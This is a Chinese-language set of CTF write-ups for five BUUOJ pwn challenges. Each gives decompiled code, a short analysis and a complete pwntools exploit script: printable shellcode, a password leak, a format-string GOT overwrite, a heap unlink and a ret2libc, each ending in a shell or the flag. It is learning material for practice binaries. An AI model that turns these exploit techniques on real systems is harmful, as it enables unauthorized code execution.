mrctf2020_shellcode_revenge
一道经典题目, 可见字符shellcode. F5失败直接读汇编
; Attributes: bp-based frame
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
buf= byte ptr -410h
var_8= dword ptr -8
var_4= dword ptr -4
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 410h
mov edx, 14h ; n
lea rsi, aShowMeYourMagi ; "Show me your magic!\n"
mov edi, 1 ; fd
mov eax, 0
call _write
lea rax, [rbp+buf]
mov edx, 400h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
call _read
mov [rbp+var_8], eax
cmp [rbp+var_8], 0
jg short loc_11AC
400bytes读进buf里
lea rax, [rbp+buf]
call rax
mov eax, 0
会检查shellcode是否有不可见字符, 如果有则会"I Can't Read This!"
, 如果全部通过检测, 则执行buf的内容
这个题要亲自写shellcode可能会比较有挑战性, 所以面向搜索引擎找shellcode, 发现可以使用
https://github.com/SkyLined/alpha3
转换shellcode为printable
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 25881
filename = "./mrctf2020_shellcode_revenge"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
# shellcode = asm(shellcraft.sh())
# with open('sc.bin', 'wb') as f:
# print(shellcode, file=f)
shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.send(shellcode)
if __name__ == "__main__":
pwn()
io.interactive()
picoctf_2018_leak_me
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-194h] BYREF
char v5[256]; // [esp+40h] [ebp-154h] BYREF
char s[64]; // [esp+140h] [ebp-54h] BYREF
FILE *stream; // [esp+180h] [ebp-14h]
char *v8; // [esp+184h] [ebp-10h]
__gid_t v9; // [esp+188h] [ebp-Ch]
int *p_argc; // [esp+18Ch] [ebp-8h]
p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
v9 = getegid();
setresgid(v9, v9, v9);
memset(s, 0, sizeof(s));
memset(v5, 0, sizeof(v5));
memset(s1, 0, sizeof(s1));
puts("What is your name?");
fgets(v5, 256, stdin);
v8 = strchr(v5, 10);
if ( v8 )
*v8 = 0;
strcat(v5, ",\nPlease Enter the Password.");
stream = fopen("password.txt", "r");
if ( !stream )
{
puts(
"Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 64, stream);
printf("Hello ");
puts(v5);
fgets(s1, 64, stdin);
v5[0] = 0;
if ( !strcmp(s1, s) )
flag(p_argc);
else
puts("Incorrect Password!");
return 0;
}
输入256字节不要带截止符, puts(v5)
泄露password, 没了
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 26016
filename = "./PicoCTF_2018_leak-me"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
context.log_level = "debug"
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
# payload = cyclic(256)
payload = cyclic(4)
io.sendlineafter('What is your name?\n', payload)
io.sendlineafter('Please Enter the Password.\n', 'a_reAllY_s3cuRe_p4s$word_f85406')
# sleep(1)
if __name__ == "__main__":
pwn()
io.interactive()
inndy_echo
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
unsigned int v4; // [esp+10Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(s, 256, stdin);
printf(s);
}
while ( strcmp(s, "exit\n") );
system("echo Goodbye");
exit(0);
}
格式化漏洞
Partial RELRO, 任意地址写打got表
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 27593
filename = "./echo"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
printf_got = elf.got['printf']
system_plt = elf.plt['system']
print(hex(printf_got), hex(system_plt))
chars_cnt_high = system_plt >> 16
chars_cnt_low = (system_plt & 0xFFFF) - chars_cnt_high
print(hex(chars_cnt_high), hex(chars_cnt_low))
payload = '%{}c'.format(chars_cnt_high).encode() + '%19$hn'.encode()
payload += '%{}c'.format(chars_cnt_low).encode() + '%20$hn'.encode()
payload = payload.ljust(0x30, b'z')
payload += p32(printf_got + 2) + p32(printf_got)
# payload = fmtstr_payload(7,{printf_got:system_plt})
print(payload, len(payload))
io.sendline(payload)
sleep(0.1)
io.sendline(';/bin/sh\x00')
# B()
if __name__ == "__main__":
pwn()
io.interactive()
小结
太久没写exp, 有点生疏了, 注意符号的优先级
错误写法
chars_cnt_low = system_plt & 0xFFFF - chars_cnt_high
正确写法
chars_cnt_low = (system_plt & 0xFFFF) - chars_cnt_high
hitcontraining_unlink
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}
看到函数列表有个magic函数
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}
按BUU的尿性是不会把flag放在/home/bamboobox
目录下的, 所以想要劫持执行流到magic函数就不用考虑了
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
这里用unlink打got表, 通过atoi@got泄露libc, 劫持atoi@got到system, 传入"/bin/sh", get shell
chunk数组首地址 00000000006020C0
unlink会使*ptr = ptr - 0x18
, 所以设置ptr = 0x6020C0 - 0x10 + 0x18
, 这样unlink之后修改chunk0的内容就可以修改chunk数组本身
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 27262
filename = "./bamboobox"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(length, name):
io.sendlineafter(':', '2')
io.sendlineafter(':', str(length))
io.sendlineafter(':', name)
def edit(idx, length, name):
io.sendlineafter(':', '3')
io.sendlineafter(':', str(idx))
io.sendlineafter(':', str(length))
io.sendlineafter(':', name)
def delete(idx):
io.sendlineafter(':', '4')
io.sendlineafter(':', str(idx))
def show():
io.sendlineafter(':', '1')
def pwn():
add(0x40, 'chunk0')
add(0x80, 'chunk1')
add(0x80, 'chunk2')
# B()
ptr = 0x6020C8
fake_chunk = p64(0) + p64(0x41) #fake chunk header
fake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake chunk fd bk
fake_chunk += cyclic(0x20)
fake_chunk += p64(0x40) # presize
fake_chunk += p64(0x90) # size
edit(0, 0x80, fake_chunk)
# B()
delete(1) # merge fake chunk then put into unsorted bin
# B()
payload = p64(0) * 2
payload += p64(0x40) + p64(elf.got['atoi']) # change itemlist[0]->ptr to atoi_got
edit(0, 0x80, payload)
# B()
show()
io.recvuntil('0 : ')
atoi_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info("atoi address: %#x", atoi_addr)
libc_base = atoi_addr - libc.symbols['atoi']
system_addr = libc_base + libc.symbols['system']
edit(0, 8, p64(system_addr))
io.sendlineafter('Your choice:', '/bin/sh\x00')
if __name__ == "__main__":
pwn()
io.interactive()
axb_2019_brop64
按理说这个题是brop, 不应该给二进制文件的, 给了就是常规ret2libc了
__int64 repeater()
{
size_t v1; // rax
char s[208]; // [rsp+0h] [rbp-D0h] BYREF
printf("Please tell me:");
memset(s, 0, 0xC8uLL);
read(0, s, 0x400uLL);
if ( !strcmp(s, "If there is a chance,I won't make any mistake!\n") )
{
puts("Wish you happy everyday!");
}
else
{
printf("Repeater:");
v1 = strlen(s);
write(1, s, v1);
}
return 0LL;
}
ret2libc
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 29821
filename = "./axb_2019_brop64"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
main_addr = 0x4007d6
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_addr = 0x400963
io.recvuntil('Please tell me:')
payload = cyclic(0xd0+8) + p64(pop_rdi_addr)
payload += p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendline(payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success('puts_addr:', hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0xd8) + p64(pop_rdi_addr) + p64(binsh)
payload += p64(system) + p64(main_addr)
io.sendline(payload)
if __name__ == "__main__":
pwn()
io.interactive()